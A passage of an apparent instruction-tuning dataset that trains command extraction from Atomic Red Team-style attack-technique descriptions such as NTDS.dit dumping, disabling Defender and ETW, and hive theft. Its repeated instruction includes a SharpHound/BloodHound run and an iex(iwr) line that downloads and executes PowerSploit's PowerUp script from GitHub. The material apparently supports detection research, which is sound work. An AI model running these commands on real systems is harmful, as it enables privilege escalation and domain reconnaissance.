- Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.\n[Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)\nUpon execution, a sample zip file will be downloaded to C:\\Temp\\Sample folder",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.\nHowever, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, \"Access Denied\"\nwill be displayed twice and the WinDefend service status will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 